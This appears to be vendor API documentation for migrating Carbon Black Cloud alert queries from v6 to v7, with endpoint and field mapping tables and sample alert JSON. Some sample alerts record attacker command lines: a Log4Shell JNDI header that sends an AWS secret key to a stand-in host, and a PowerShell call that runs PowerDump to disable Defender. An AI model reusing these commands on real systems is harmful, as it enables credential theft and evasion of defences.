Alerts v6 API Migration

The Alerts v6 API will be deactivated on July 31, 2024.

Overview

This is to assist in migrating appservices/v6/orgs/{org_key}/alerts API to alerts/v7 API.

In this document, you will find:

  • A mapping of deprecated v6 Alerts API endpoints to new v7 API endpoints
  • A mapping of deprecated v6 Alerts schema to new v7 API schema
  • Sample payloads for the legacy v6 Alerts APIs and the new v7 APIs

Guides and Resources

API Endpoints


v6 API Endpoint Equivalencies

Operation Legacy v6 Alerts Endpoint New v7 Alerts Endpoint
Alert Search POST /appservices/v6/orgs/{org_key}/alerts/_search POST /api/alerts/v7/orgs/{org_key}/alerts/_search
Alert Search - CBAnalytics POST /appservices/v6/orgs/{org_key}/alerts/cbanalytics/_search POST /api/alerts/v7/orgs/{org_key}/alerts/_search
Alert Search - Watchlist POST /appservices/v6/orgs/{org_key}/alerts/watchlist/_search POST /api/alerts/v7/orgs/{org_key}/alerts/_search
Alert Search - Device Control POST /appservices/v6/orgs/{org_key}/alerts/devicecontrol/_search POST /api/alerts/v7/orgs/{org_key}/alerts/_search
Alert Search - Container Runtime POST /appservices/v6/orgs/{org_key}/alerts/containerruntime/_search POST /api/alerts/v7/orgs/{org_key}/alerts/_search
Get Alert GET /appservices/v6/orgs/{org_key}/alerts/{alert_id} GET /api/alerts/v7/orgs/{org_key}/alerts/{id}
Facet Alerts POST /appservices/v6/orgs/{org_key}/alerts/_facet POST /api/alerts/v7/orgs/{org_key}/alerts/_facet
Create Workflow POST /appservices/v6/orgs/{org_key}/alerts/{alert_id}/workflow POST /api/alerts/v7/orgs/{org_key}/alerts/workflow
Bulk Create Workflows POST /appservices/v6/orgs/{org_key}/alerts/{alert_id}/workflow/_criteria POST /api/alerts/v7/orgs/{org_key}/alerts/workflow
Create Threat Workflow POST /appservices/v6/orgs/{org_key}/threat/{threat_id}/workflow POST /api/alerts/v7/orgs/{org_key}/alerts/workflow
Bulk Create Threat Workflows POST /appservices/v6/orgs/{org_key}/threat/workflow/_criteria POST /api/alerts/v7/orgs/{org_key}/alerts/workflow
Get Bulk Workflow Status GET /appservices/v6/orgs/{org_key}/workflow/status/{request_id} Job Service with job_id returned from Create Workflow
Get Alert Search Suggestions GET /appservices/v6/orgs/{org_key}/alerts/search_suggestions GET /api/alerts/v7/orgs/{org_key}/alerts/search_suggestions
Create Note on an Alert POST /appservices/v6/orgs/{org_key}/alerts/{alert_id}/notes POST /api/alerts/v7/orgs/{org_key}/alerts/{alert_id}/notes
Get Notes for an Alert GET /appservices/v6/orgs/{org_key}/alerts/{alert_id}/notes GET /api/alerts/v7/orgs/{org_key}/alerts/{alert_id}/notes/
Delete Note DELETE /appservices/v6/orgs/{org_key}/alerts/{id}/notes/{note_id} DELETE /api/alerts/v7/orgs/{org_key}/alerts/{alert_id}/notes/{id}

v7 New API Endpoints

Operation New v7 Alerts Endpoint
Validate Search POST /api/alerts/v7/orgs/{org_key}/alerts/_validate
Get Alert History GET /api/alerts/v7/orgs/{org_key}/alerts/{alert_id}/history
Get Alert Histogram POST /api/alerts/v7/orgs/{org_key}/alerts/_histogram
Find Grouped Alerts POST /api/alerts/v7/orgs/{org_key}/grouped_alerts/_search
Facet Grouped Alerts POST /api/alerts/v7/orgs/{org_key}/grouped_alerts/_facet
Get Threat History GET /api/alerts/v7/orgs/{org_key}/threats/{threat_id}/history
Create Note for a Threat POST /api/alerts/v7/orgs/{org_key}/threats/{threat_id}/notes
Get Notes for a Threat POST /api/alerts/v7/orgs/{org_key}/threats/{threat_id}/notes
Delete Threat Level Note DELETE /api/alerts/v7/orgs/{org_key}/threats/{threat_id}/notes/{id}
Create/Update Threat Tags POST /api/alerts/v7/orgs/{org_key}/threats/{threat_id}/tags
Get Threat Tags GET /api/alerts/v7/orgs/{org_key}/threats/{threat_id}/tags
Delete Threat Tags DELETE /api/alerts/v7/orgs/{org_key}/threats/{threat_id}/tags/{tag}

Get/Search Alert APIs


Sample Payloads

{
    "type": "CB_ANALYTICS",
    "id": "225219783948647d55b11e9962bf3b07592c207",
    "legacy_alert_id": "L1QDMJUO",
    "org_key": "ABCD1234",
    "create_time": "2019-09-12T12:47:45.595Z",
    "last_update_time": "2019-09-12T12:47:45.595Z",
    "first_event_time": "2019-09-12T12:47:36.703Z",
    "last_event_time": "2019-09-12T12:47:36.703Z",
    "threat_id": "e7ba0f751456211fea35b9d955dc5098",
    "severity": 7,
    "category": "THREAT",
    "device_id": "<device-id>",
    "device_os": "<device-os>",
    "device_os_version": "<device-os>",
    "device_name": "<device-name>",
    "device_username": "<device-username>",
    "policy_id": 1,
    "policy_name": "default",
    "target_value": "MISSION_CRITICAL"
}

{
    "org_key": "ABCD1234",
    "alert_url": "https://defense.conferdeploy.net/alerts?s[c][query_string]=id:52fa009d-e2d1-4118-8a8d-04f521ae66aa&orgKey=ABCD1234",
    "id": "12ab345cd6-e2d1-4118-8a8d-04f521ae66aa",
    "type": "WATCHLIST",
    "backend_timestamp": "2023-04-14T21:30:40.570Z",
    "user_update_timestamp": null,
    "backend_update_timestamp": "2023-04-14T21:30:40.570Z",
    "detection_timestamp": "2023-04-14T21:27:14.719Z",
    "first_event_timestamp": "2023-04-14T21:21:42.193Z",
    "last_event_timestamp": "2023-04-14T21:21:42.193Z",
    "severity": 8,
    "reason": "Process infdefaultinstall.exe was detected by the report \"Defense Evasion - Signed Binary Proxy Execution - InfDefaultInstall\" in 6 watchlists",
    "reason_code": "05696200-88e6-3691-a1e3-8d9a64dbc24e:7828aec8-8502-3a43-ae68-41b5050dab5b",
    "threat_id": "0569620088E6669121E38D9A64DBC24E",
    "primary_event_id": "-7RlZFHcSGWKSrF55B_4Ig-0",
    "policy_applied": "NOT_APPLIED",
    "run_state": "RAN",
    "sensor_action": "ALLOW",
    "workflow": {
        "change_timestamp": "2023-04-14T21:30:40.570Z",
        "changed_by_type": "SYSTEM",
        "changed_by": "ALERT_CREATION",
        "closure_reason": "NO_REASON",
        "status": "OPEN"
    },
    "determination": null,
    "tags": [
        "tag1",
        "tag2"
    ],
    "alert_notes_present": false,
    "threat_notes_present": false,
    "is_updated": false,
    "device_id": 18118174,
    "device_name": "demo_device",
    "device_uem_id": "",
    "device_target_value": "LOW",
    "device_policy": "123abcde-c21b-4d64-9e3e-53595ef9c7af",
    "device_policy_id": 1234567,
    "device_os": "WINDOWS",
    "device_os_version": "Windows 10 x64 SP: 1",
    "device_username": "demouser@demoorg.com",
    "device_location": "UNKNOWN",
    "device_external_ip": "1.2.3.4",
    "mdr_alert": false,
    "report_id": "oJFtoawGS92fVMXlELC1Ow-b4ee93fc-ec58-436a-a940-b4d33a613513",
    "report_name": "Defense Evasion - Signed Binary Proxy Execution - InfDefaultInstall",
    "report_description": "\n\nThreat:\nThis behavior may be abused by adversaries to execute malicious files that could bypass application whitelisting and signature validation on systems.\n\nFalse Positives:\nSome environments may legitimate use this, but should be rare.\n\nScore:\n85",
    "report_tags": [
        "attack",
        "attackframework",
        "threathunting"
    ],
    "report_link": "https://attack.mitre.org/wiki/Technique/T1218",
    "ioc_id": "b4ee93fc-ec58-436a-a940-b4d33a613513-0",
    "ioc_hit": "((process_name:InfDefaultInstall.exe)) -enriched:true",
    "watchlists": [
        {
            "id": "9x0timurQkqP7FBKX4XrUw",
            "name": "Carbon Black Advanced Threats"
        }
    ],
    "process_guid": "ABCD1234-0114761e-00002ae4-00000000-19db1ded53e8000",
    "process_pid": 10980,
    "process_name": "infdefaultinstall.exe",
    "process_sha256": "1a2345cd88666a458f804e5d0fe925a9f55cf016733458c58c1980addc44cd774",
    "process_md5": "12c34567894a49f13193513b0138f72a9",
    "process_effective_reputation": "LOCAL_WHITE",
    "process_reputation": "NOT_LISTED",
    "process_cmdline": "InfDefaultInstall.exe C:\\Users\\username\\userdir\\Infdefaultinstall.inf",
    "process_username": "DEMO\\DEMOUSER",
    "process_issuer": "Demo Code Signing CA - G2",
    "process_publisher": "Demo Test Authority",
    "childproc_guid": "",
    "childproc_username": "",
    "childproc_cmdline": "",
    "ml_classification_final_verdict": "NOT_ANOMALOUS",
    "ml_classification_global_prevalence": "LOW",
    "ml_classification_org_prevalence": "LOW"
}

Schema Changes

The following table contains the fields to be substituted when migrating to the Alerts v7 API as well as the new supported fields. The fields or sub-fields not captured here remain the same for their respective API endpoints.

The AlertService/v7 APIs return the entire Alert object as a response.


Base Alert

Removed and Substituted Fields

Legacy Field New Field
category DEPRECATED
In Alerts v7, only records with the type THREAT are returned. Records that in v6 had the category MONITORED (Observed) are now Observations. See more information in Announcing the Alerts v7 API and “Observed Alerts” Become “Observations.
Also see the Observations API.
create_time backend_timestamp DEFAULT (Timestamp when the Carbon Black Cloud processed and enabled the alert for searching)
detection_timestamp (Timestamp when the alert was first detected)
first_event_time first_event_timestamp
group_details DEPRECATED - Covered by Grouped Alert Operations
last_event_time last_event_timestamp
last_update_time backend_update_timestamp
legacy_alert_id DEPRECATED - Covered by the id field in an alert
notes_present alert_notes_present, threat_notes_present
policy_id device_policy_id
policy_name device_policy
port netconn_remote_port, netconn_local_port
protocol netconn_protocol
remote_domain netconn_remote_domain
remote_ip netconn_remote_ip
target_value device_target_value
threat_cause_event_id primary_event_id
user_feedback determination_value
workflow.comment DEPRECATED - use Alert Notes
workflow.remediation DEPRECATED
workflow.closure_reason should be used instead. Valid values are:
NO_REASON
RESOLVED
RESOLVED_BENIGN_KNOWN_GOOD
DUPLICATE_CLEANUP
OTHER
workflow.state workflow.status
state DISMISSED = status CLOSED
state OPEN = status OPEN
new status IN_PROGRESS

New Fields - Base Alert

  • alert_notes_present
  • alert_url
  • blocked_effective_reputation
  • blocked_md5
  • blocked_name
  • blocked_sha256
  • childproc_cmdline
  • childproc_effective_reputation
  • childproc_guid
  • childproc_md5
  • childproc_name
  • childproc_sha256
  • childproc_username
  • determination.change_timestamp
  • determination.changed_by
  • determination.changed_by_type
  • device_external_ip
  • device_internal_ip
  • device_location
  • device_uem_id
  • is_updated
  • netconn_local_ip
  • netconn_remote_ipv4
  • netconn_local_ipv4
  • netconn_remote_ipv6
  • netconn_local_ipv6
  • parent_cmdline
  • parent_effective_reputation
  • parent_md5
  • parent_name
  • parent_pid
  • parent_reputation
  • parent_sha256
  • parent_username
  • process_cmdline
  • process_effective_reputation
  • process_guid
  • process_pid
  • process_username
  • threat_notes_present
  • user_update_timestamp
  • workflow.change_timestamp
  • workflow.changed_by_type
  • workflow.changed_by_rule_id


Note: Device Control alerts will not have process context fields.
Note: Container alerts will not have device and process context fields.

Examples

    {
        "type":"CB_ANALYTICS",
        "id":"ca316d99-a808-3779-8aab-62b2b6d9541c",
        "legacy_alert_id":"ca316d99-a808-3779-8aab-62b2b6d9541c",
        "org_key":"ABCD1234",
        "create_time":"2023-02-03T17:27:33.007Z",
        "last_update_time":"2023-02-03T17:27:33.007Z",
        "first_event_time":"2023-02-03T17:22:03.945Z",
        "last_event_time":"2023-02-03T17:22:03.945Z",
        "threat_id":"bbe232a02b6c5583786503c25fe9a1d29d6ed39d3a295a6ff5c07f81629d0017",
        "severity":1,
        "category":"THREAT",
        "device_id":17482451,
        "device_os":"WINDOWS",
        "device_os_version":"Windows 10 x64",
        "device_name":"DEV01-39X-1",
        "device_username":"demouser",
        "policy_name":"Standard",
        "target_value":"MEDIUM",
        "workflow":{
            "state":"OPEN",
            "remediation":null,
            "last_update_time":"2023-02-03T17:27:33.007Z",
            "comment":null,
            "changed_by":"ALERT_CREATION"
        },
        "notes_present":false,
        "tags":null,
        "policy_id":165700,
        "reason":"HTTP traffic from asset DEV01-39X-1 matched IDS signature for threat CVE-2021-44228 Exploit",
        "reason_code":"DC68DDD6-4B82-4AAF-9321-B4EBB32F5C2D:B5974D4D-265E-4FAF-8F71-2F76AAD67857",
        "process_name":"curl.exe",
        "device_location":"UNKNOWN",
        "created_by_event_id":"21AB6B27-9F72-11ED-A79A-005056A53F17",
        "threat_indicators":[{
            "process_name":"curl.exe",
            "sha256":"d76d08c04dfa434de033ca220456b5b87e6b3f0108667bd61304142c54addbe4",
            "ttps":[]
        }],
        "threat_activity_dlp":"NOT_ATTEMPTED",
        "threat_activity_phish":"NOT_ATTEMPTED",
        "threat_activity_c2":"NOT_ATTEMPTED",
        "threat_cause_actor_sha256":"d76d08c04dfa434de033ca220456b5b87e6b3f0108667bd61304142c54addbe4",
        "threat_cause_actor_name":"c:\\windows\\system32\\curl.exe",
        "threat_cause_actor_process_pid":"ABCD1234-010ac2d3-00001694-00000000-1d937f40884b9e0",
        "threat_cause_process_guid":"ABCD1234-010ac2d3-00001694-00000000-1d937f40884b9e0",
        "threat_cause_parent_guid":"ABCD1234-010ac2d3-0000225c-00000000-1d9300e2bb5211a",
        "threat_cause_reputation":"TRUSTED_WHITE_LIST",
        "threat_cause_threat_category":"NON_MALWARE",
        "threat_cause_vector":"UNKNOWN",
        "threat_cause_cause_event_id":"21AB6B27-9F72-11ED-A79A-005056A53F17",
        "blocked_threat_category":"UNKNOWN",
        "not_blocked_threat_category":"UNKNOWN",
        "kill_chain_status":["DELIVER_EXPLOIT"],
        "sensor_action":"ALLOW",
        "run_state":"RAN",
        "policy_applied":"NOT_APPLIED",
        "type":"CB_ANALYTICS",
        "alert_classification":null
    }
    
    {
        "org_key":"ABCD1234",
        "alert_url":"defense-dev01.cbdtest.io/alerts?s[c][query_string]=id:ca316d99-a808-3779-8aab-62b2b6d9541c&orgKey=ABCD1234",
        "id":"ca316d99-a808-3779-8aab-62b2b6d9541c",
        "type":"INTRUSION_DETECTION_SYSTEM",
        "backend_timestamp":"2023-02-03T17:27:33.007Z",
        "user_update_timestamp":null,
        "backend_update_timestamp":"2023-02-03T17:27:33.007Z",
        "detection_timestamp":"2023-02-03T17:22:03.945Z",
        "first_event_timestamp":"2023-02-03T17:22:03.945Z",
        "last_event_timestamp":"2023-02-03T17:22:03.945Z",
        "severity":1,
        "reason":"HTTP traffic from asset DEV01-39X-1 matched IDS signature for threat CVE-2021-44228 Exploit",
        "reason_code":"DC68DDD6-4B82-4AAF-9321-B4EBB32F5C2D:B5974D4D-265E-4FAF-8F71-2F76AAD67857",
        "threat_id":"bbe232a02b6c5583786503c25fe9a1d29d6ed39d3a295a6ff5c07f81629d0017",
        "primary_event_id":"21AB6B27-9F72-11ED-A79A-005056A53F17",
        "policy_applied":"NOT_APPLIED",
        "run_state":"RAN",
        "sensor_action":"ALLOW",
        "workflow":{"change_timestamp":"2023-02-03T17:27:33.007Z",
        "changed_by_type":"SYSTEM",
        "changed_by":"ALERT_CREATION",
        "closure_reason":"NO_REASON",
        "status":"OPEN"},
        "determination":{"change_timestamp":"2023-02-03T17:27:33.007Z",
        "value":"NONE",
        "changed_by_type":"SYSTEM",
        "changed_by":"ALERT_CREATION"},
        "tags":null,
        "alert_notes_present":false,
        "threat_notes_present":false,
        "is_updated":false,
        "rule_category_id":"DC68DDD6-4B82-4AAF-9321-B4EBB32F5C2D",
        "rule_id":"B5974D4D-265E-4FAF-8F71-2F76AAD67857",
        "device_id":17482451,
        "device_name":"DEV01-39X-1",
        "device_uem_id":"",
        "device_target_value":"MEDIUM",
        "device_policy":"Standard",
        "device_policy_id":165700,
        "device_os":"WINDOWS",
        "device_os_version":"Windows 10 x64",
        "device_username":"demouser",
        "device_location":"UNKNOWN",
        "device_external_ip":"4.3.2.1",
        "device_internal_ip":"1.2.3.4",
        "mdr_alert":false,
        "mdr_alert_notes_present":false,
        "mdr_threat_notes_present":false,
        "ttps":[],
        "attack_tactic":"TA0001",
        "attack_technique":"T1190",
        "process_guid":"ABCD1234-010ac2d3-00001694-00000000-1d937f40884b9e0",
        "process_pid":5780,
        "process_name":"c:\\windows\\system32\\curl.exe",
        "process_sha256":"d76d08c04dfa434de033ca220456b5b87e6b3f0108667bd61304142c54addbe4",
        "process_md5":"eac53ddafb5cc9e780a7cc086ce7b2b1",
        "process_effective_reputation":"TRUSTED_WHITE_LIST",
        "process_reputation":"TRUSTED_WHITE_LIST",
        "process_cmdline":"curl  -H \"Host: \\${jndi:ldap://\\{env:AWS_SECRET_ACCESS_KEY}.badserver.io}\" http://google.com/testingids",
        "process_username":"DEV01-39X-1\\demo",
        "process_issuer":["Microsoft Windows Production PCA 2011"],
        "process_publisher":["Microsoft Windows"],
        "parent_guid":"ABCD1234-010ac2d3-0000225c-00000000-1d9300e2bb5211a",
        "parent_pid":8796,
        "parent_name":"c:\\windows\\system32\\cmd.exe",
        "parent_sha256":"b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450",
        "parent_md5":"8a2122e8162dbef04694b9c3e0b6cdee",
        "parent_effective_reputation":"TRUSTED_WHITE_LIST",
        "parent_reputation":"TRUSTED_WHITE_LIST",
        "parent_cmdline":"\"C:\\WINDOWS\\system32\\cmd.exe\" ",
        "parent_username":"DEV01-39X-1\\demo",
        "childproc_guid":"",
        "childproc_username":"",
        "childproc_cmdline":"",
        "netconn_remote_port":80,
        "netconn_local_port":49233,
        "netconn_protocol":"",
        "netconn_remote_domain":"google.com",
        "netconn_remote_ip":"1.2.3.4",
        "netconn_local_ip":"4.3.2.1",
        "netconn_remote_ipv4":"1.2.3.4",
        "netconn_local_ipv4":"4.3.2.1",
        "tms_rule_id":"4b98443a-ba0d-4ff5-b99e-e5e70432a214",
        "threat_name":"CVE-2021-44228 Exploit"
    }

CB Analytics

Removed and Substituted Fields

Legacy Field New Field
blocked_threat_category DEPRECATED - Reputation fields provide similar information
classification ml_classification_final_verdict
created_by_event_id DEPRECATED - Covered by primary_event_id
global_prevalence ml_classification_global_prevalence
kill_chain_status DEPRECATED
not_blocked_threat_category DEPRECATED
org_prevalence ml_classification_org_prevalence
policy_id device_policy_id
sha256 process_sha256
threat_activity_c2 DEPRECATED
threat_activity_dlp DEPRECATED
threat_activity_phish DEPRECATED
threat_cause_actor_name process_name
Note that in v6 only the process name was returned (e.g. powershell.exe) and in v7 the full path is returned (e.g. c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe)
threat_cause_actor_process_pid DEPRECATED - use process_pid. Values will differ.
threat_cause_actor_sha256 process_sha256
threat_cause_cause_event_id primary_event_id
threat_cause_parent_guid parent_guid
threat_cause_process_guid process_guid
threat_cause_reputation process_reputation
threat_cause_threat_category DEPRECATED
threat_cause_vector DEPRECATED
threat_indicators ttps
user_feedback determination

New Fields - CB Analytics

  • attack_tactic
  • attack_technique
  • rule_category_id
  • rule_config_category
  • rule_config_id
  • rule_config_name

Examples

    {
        "type":"CB_ANALYTICS",
        "id":"411eedfc-8408-2f9e-59f2-a83dfaae0ec1",
        "legacy_alert_id":"411eedfc-8408-2f9e-59f2-a83dfaae0ec1",
        "org_key":"ABCD1234",
        "create_time":"2023-07-17T17:16:50.960Z",
        "last_update_time":"2023-07-17T17:29:19.996Z",
        "first_event_time":"2023-07-17T17:15:33.396Z",
        "last_event_time":"2023-07-17T17:27:59.192Z",
        "threat_id":"9e0afc389c1acc43b382b1ba590498d2",
        "severity":5,
        "category":"THREAT",
        "device_id":6948863,
        "device_os":"WINDOWS",
        "device_os_version":"Windows Server 2019 x64",
        "device_name":"demodevice",
        "device_username":"sample@demoorg.com",
        "policy_name":"SSQ_Policy",
        "target_value":"MISSION_CRITICAL",
        "workflow":{
            "state":"OPEN",
            "remediation":null,
            "last_update_time":"2023-07-17T17:16:50.960Z",
            "comment":null,
            "changed_by":"ALERT_CREATION"
        },
        "notes_present":false,
        "tags":null,
        "policy_id":112221,
        "reason":"A known virus (HackTool: Powerpuff) was detected running.",
        "reason_code":"T_REP_VIRUS",
        "process_name":"powershell.exe",
        "device_location":"OFFSITE",
        "created_by_event_id":"94953e4424c511ee86284f0541a5184d",
        "threat_indicators":[
            {
                "process_name":"powerdump.ps1",
                "sha256":"3b463c94b52414cfaad61ecdac64ca84eaea1ab4be69f75834aaa7701ab5e7d0",
                "ttps":["MALWARE_APP"]
            },
            {
                "process_name":"powershell.exe",
                "sha256":"de96a6e69944335375dc1ac238336066889d9ffc7d73628ef4fe1b1b160ab32c",
                "ttps":[
                    "MITRE_T1059_001_POWERSHELL",
                    "RUN_MALWARE_APP",
                    "MITRE_T1059_CMD_LINE_OR_SCRIPT_INTER",
                    "FILELESS"
                ]
            }
        ],
        "threat_activity_dlp":"NOT_ATTEMPTED",
        "threat_activity_phish":"NOT_ATTEMPTED",
        "threat_activity_c2":"NOT_ATTEMPTED",
        "threat_cause_actor_sha256":"3b463c94b52414cfaad61ecdac64ca84eaea1ab4be69f75834aaa7701ab5e7d0",
        "threat_cause_actor_name":"powerdump.ps1",
        "threat_cause_actor_process_pid":"3600-133340877319924851-0",
        "threat_cause_process_guid":"ABCD1234-006a07ff-00000e10-00000000-1d9b8d24ab16c73",
        "threat_cause_parent_guid":null,
        "threat_cause_reputation":"KNOWN_MALWARE",
        "threat_cause_threat_category":"KNOWN_MALWARE",
        "threat_cause_vector":"WEB",
        "threat_cause_cause_event_id":"94953e4524c511ee86284f0541a5184d",
        "blocked_threat_category":"UNKNOWN",
        "not_blocked_threat_category":"KNOWN_MALWARE",
        "kill_chain_status":["INSTALL_RUN"],
        "sensor_action":null,
        "run_state":"RAN",
        "policy_applied":"NOT_APPLIED",
        "type":"CB_ANALYTICS",
        "alert_classification":null
    }
    
    {
        "org_key":"ABCD1234",
        "alert_url":"defense.conferdeploy.net/alerts?s[c][query_string]=id:411eedfc-8408-2f9e-59f2-a83dfaae0ec1&orgKey=ABCD1234",
        "id":"411eedfc-8408-2f9e-59f2-a83dfaae0ec1",
        "type":"CB_ANALYTICS",
        "backend_timestamp":"2023-07-17T17:16:50.960Z",
        "user_update_timestamp":null,
        "backend_update_timestamp":"2023-07-17T17:29:19.996Z",
        "detection_timestamp":"2023-07-17T17:15:51.708Z",
        "first_event_timestamp":"2023-07-17T17:15:33.396Z",
        "last_event_timestamp":"2023-07-17T17:27:59.192Z",
        "severity":5,
        "reason":"A known virus (HackTool: Powerpuff) was detected running.",
        "reason_code":"T_REP_VIRUS",
        "threat_id":"9e0afc389c1acc43b382b1ba590498d2",
        "primary_event_id":"94953e4524c511ee86284f0541a5184d",
        "policy_applied":"NOT_APPLIED",
        "run_state":"RAN",
        "sensor_action":"ALLOW",
        "workflow":{
            "change_timestamp":"2023-07-17T17:16:50.960Z",
            "changed_by_type":"SYSTEM",
            "changed_by":"ALERT_CREATION",
            "closure_reason":"NO_REASON",
            "status":"OPEN"
        },
        "determination":{
            "change_timestamp":"2023-07-17T17:16:50.960Z",
            "value":"NONE",
            "changed_by_type":null,
            "changed_by":null
        },
        "tags":null,
        "alert_notes_present":false,
        "threat_notes_present":false,
        "is_updated":true,
        "device_id":6948863,
        "device_name":"demodevice",
        "device_uem_id":"",
        "device_target_value":"MISSION_CRITICAL",
        "device_policy":"SSQ_Policy",
        "device_policy_id":112221,
        "device_os":"WINDOWS",
        "device_os_version":"Windows Server 2019 x64",
        "device_username":"sample@demoorg.com",
        "device_location":"OFFSITE",
        "device_external_ip":"1.2.3.4",
        "device_internal_ip":"4.3.2.1",
        "mdr_alert":false,
        "mdr_alert_notes_present":false,
        "mdr_threat_notes_present":false,
        "ttps":[
            "MALWARE_APP",
            "RUN_MALWARE_APP",
            "MITRE_T1059_CMD_LINE_OR_SCRIPT_INTER",
            "FILELESS",
            "MITRE_T1059_001_POWERSHELL"
        ],
        "attack_tactic":"",
        "attack_technique":"",
        "process_guid":"ABCD1234-006a07ff-00000e10-00000000-1d9b8d24ab16c73",
        "process_pid":3600,
        "process_name":"c:\\users\\administrator\\appdata\\local\\temp\\powerdump.ps1",
        "process_sha256":"3b463c94b52414cfaad61ecdac64ca84eaea1ab4be69f75834aaa7701ab5e7d0",
        "process_md5":"42a80cc2333b612b63a859f17474c9af",
        "process_effective_reputation":"KNOWN_MALWARE",
        "process_reputation":"KNOWN_MALWARE",
        "process_cmdline":"\"powershell.exe\" & {Write-Host \\\"\"STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME MON\\\"\" -fore green\nImport-Module \\\"\"$Env:Temp\\PowerDump.ps1\\\"\"\nInvoke-PowerDump}",
        "process_username":"demodevice\\Administrator",
        "process_issuer":[],
        "process_publisher":[],
        "parent_guid":"ABCD1234-006a07ff-00000fb8-00000000-1d9b8d2494e29ed",
        "parent_pid":4024,
        "parent_name":"c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe",
        "parent_sha256":"de96a6e69944335375dc1ac238336066889d9ffc7d73628ef4fe1b1b160ab32c",
        "parent_md5":"",
        "parent_effective_reputation":"TRUSTED_WHITE_LIST",
        "parent_reputation":"TRUSTED_WHITE_LIST",
        "parent_cmdline":"",
        "parent_username":"demodevice\\Administrator",
        "childproc_guid":"ABCD1234-006a07ff-00000000-00000000-19db1ded53e8000",
        "childproc_name":"",
        "childproc_sha256":"",
        "childproc_md5":"",
        "childproc_effective_reputation":"RESOLVING",
        "childproc_username":"demodevice\\Administrator",
        "childproc_cmdline":""
    }

Container Runtime

Removed and Substituted Fields

Legacy Field New Field
cluster_name k8s_cluster
namespace k8s_namespace
policy_id k8s_policy_id
policy_name k8s_policy
port netconn_local_port, netconn_remote_port
protocol netconn_protocol
remote_domain netconn_remote_domain
remote_ip netconn_remote_ip
remote_namespace remote_k8s_namespace
remote_replica_id remote_k8s_pod_name
remote_workload_kind remote_ks8_kind
remote_workload_id DEPRECATED - Duplicate value for remote_workload_name
remote_workload_name remote_ks8_workload_name
rule_id k8s_rule_id
rule_name k8s_rule
replica_id k8s_pod_name
target_value DEPRECATED
workload_id DEPRECATED
workload_kind k8s_workload_kind
workload_name k8s_workload_name

New Fields - Container Runtime

New fields were introduced to distinguish the resources used for Containers from other endpoint types.

  • k8s_policy
  • k8s_policy_id
  • k8s_rule
  • k8s_rule_id

Examples

    {
        "type":"CONTAINER_RUNTIME",
        "id":"f0c7970b-f23c-919e-0cd8-7a38bd373a6f",
        "legacy_alert_id":"f0c7970b-f23c-919e-0cd8-7a38bd373a6f",
        "org_key":"ABCD1234",
        "create_time":"2023-02-06T00:13:37.663Z",
        "last_update_time":"2023-02-06T00:13:37.663Z",
        "first_event_time":"2023-02-06T00:09:19.320Z",
        "last_event_time":"2023-02-06T00:09:19.320Z",
        "threat_id":"0811c72d38d40951b4b90dba05638a20669c9f001ea2e65eeb4768f813d6ed0c",
        "severity":5,
        "category":"THREAT",
        "device_id":0,
        "device_os":null,
        "device_os_version":null,
        "device_name":null,
        "device_username":null,
        "policy_name":"Big runtime policy",
        "target_value":"MEDIUM",
        "workflow":{
            "state":"OPEN",
            "remediation":"NO_REASON",
            "last_update_time":"2023-04-13T11:55:52.550Z",
            "comment":null,
            "changed_by":"sample@demoorg.com"
        },
        "notes_present":true,
        "tags":["の結果"],
        "policy_id":"2e5170e7-2665-49d2-829e-f5bdeefe6b06",
        "rule_id":"f8b1637a-dc0c-49bb-bc28-5b48f97e6d58",
        "rule_name":"Allowed public destinations",
        "reason":"Detected a connection to a public destination that isn't allowed for this scope",
        "run_state":"RAN",
        "cluster_name":"demo:demo-cluster",
        "namespace":"kube-system",
        "workload_kind":"DaemonSet",
        "workload_id":"ama-logs",
        "workload_name":"ama-logs",
        "replica_id":"ama-logs-gm5tt",
        "remote_namespace":null,
        "remote_workload_kind":null,
        "remote_workload_id":null,
        "remote_workload_name":null,
        "remote_replica_id":null,
        "connection_type":"EGRESS",
        "remote_is_private":false,
        "remote_ip":"1.2.3.4",
        "remote_domain":"demo.remote.domain.com",
        "protocol":"TCP",
        "port":443,
        "egress_group_id":null,
        "egress_group_name":null,
        "ip_reputation":96,
        "type":"CONTAINER_RUNTIME",
        "alert_classification":null
    }
    
   {
        "org_key":"ABCD1234",
        "alert_url":"defense-dev01.cbdtest.io/alerts?s[c][query_string]=id:f0c7970b-f23c-919e-0cd8-7a38bd373a6f&orgKey=ABCD1234",
        "id":"f0c7970b-f23c-919e-0cd8-7a38bd373a6f",
        "type":"CONTAINER_RUNTIME",
        "backend_timestamp":"2023-02-06T00:13:37.663Z",
        "user_update_timestamp":"2023-04-13T11:55:52.550Z",
        "backend_update_timestamp":"2023-02-06T00:13:37.663Z",
        "detection_timestamp":"2023-02-06T00:10:51.176Z",
        "first_event_timestamp":"2023-02-06T00:09:19.320Z",
        "last_event_timestamp":"2023-02-06T00:09:19.320Z",
        "severity":5,
        "reason":"Detected a connection to a public destination that isn't allowed for this scope",
        "reason_code":"2e5170e7-2665-49d2-829e-f5bdeefe6b06:f8b1637a-dc0c-49bb-bc28-5b48f97e6d58",
        "threat_id":"0811c72d38d40951b4b90dba05638a20669c9f001ea2e65eeb4768f813d6ed0c",
        "primary_event_id":"X0z55sxeTGWPfKuzPkFlCg-61",
        "policy_applied":"NOT_APPLIED",
        "run_state":"RAN",
        "sensor_action":"ALLOW",
        "workflow":{
            "change_timestamp":"2023-04-13T11:55:52.550Z",
            "changed_by_type":"USER",
            "changed_by":"sample@demoorg.com",
            "closure_reason":"NO_REASON",
            "status":"IN_PROGRESS"
        },
        "determination":{
            "change_timestamp":"2023-02-22T21:07:57.955Z",
            "value":"NONE",
            "changed_by_type":"USER",
            "changed_by":"sample@demoorg.com"
        },
        "tags":["demotag"],
        "alert_notes_present":false,
        "threat_notes_present":true,
        "is_updated":false,
        "mdr_alert":false,
        "mdr_alert_notes_present":false,
        "mdr_threat_notes_present":false,
        "netconn_remote_port":443,
        "netconn_local_port":56618,
        "netconn_protocol":"TCP",
        "netconn_remote_domain":"demo.remote.domain.com",
        "netconn_remote_ip":"4.3.2.1",
        "netconn_local_ip":"1.2.3.4",
        "netconn_remote_ipv4":"4.3.2.1",
        "netconn_local_ipv4":"1.2.3.4",
        "k8s_cluster":"demo:demo-cluster",
        "k8s_namespace":"kube-system",
        "k8s_kind":"DaemonSet",
        "k8s_workload_name":"ama-logs",
